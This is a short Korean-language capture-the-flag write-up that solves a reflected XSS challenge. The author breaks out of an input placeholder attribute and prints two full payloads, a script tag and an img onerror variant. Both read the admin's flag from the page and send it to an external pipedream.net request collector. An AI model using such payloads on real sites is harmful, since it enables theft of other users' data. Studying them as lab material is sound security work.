
문제를 보면 mypage에서 xss가 일어난다고 나와있다. 따로 xss point를 찾을 필요는 없을 것 같다.

mypage를 접속한 후 url을 살펴보면 user=에 값에 따라 화면에 출력되는 값이 바뀌고 Flag Here..! 부분에 관리자에 flag가 있는 것을 알 수 있다. 좀 더 자세히 보기 위해 패킷을 살펴보자.

user 값이 placeholder에 있으므로 코드를 우회해서 삽입할 수 있을 것 같다. 일단 Flag Here..! 부분에 값을 가져와야 한다는 건데 document로 name 속성에 접근해 placeholder 값을 가져올 수 있을 것 같다.

document.getElementsByName('info')[0].placeholder;
getElementsByName을 이용해 name = info를 가진 태그중에 첫번째 값을 가져오니 Flag Here..! 부분이 나왔다. 답은 다 나왔으니 이제 관리자 봇에 중요 정보를 가져와 보자.

"/><script>var secretData = document.getElementsByName('info')[0].placeholder;new Image().src='https://eo6wq28znszxjxz.m.pipedream.net/?data='%2bsecretData;</script>
해당 코드를 사용해 관리자 봇한테 공격 코드가 있는 url을 보내기 전에 테스트를 해보았는데 에러가 나왔다. 에러를 살펴보니 undefined (reading 'placeholder') placeholder 값이 없다는 것 같다. 이유에 대해 고민해 보니 내가 가져와야 하는 Flag Here 값에 위치보다 내가 삽입한 <script>의 위치가 더 위에 있어서 Flag Here 값이 로드되기 전에 코드가 실행되어서 그런 것 같다. (브라우저가 <script> 태그를 만나면 HTML 파싱을 일시적으로 중단하기 때문)

"/><img src=x onerror="var secretData = document.getElementsByName('info')[0].placeholder;new Image().src='https://eo6wq28znszxjxz.m.pipedream.net/?data='%2bsecretData;">
script를 사용하지 않고 img 태그에 에러를 이용하는 것으로 코드를 수정했다. 작성한 코드가 담긴 url을 관리자에게 보내면

서버에 flag가 있는 걸 확인할 수 있다!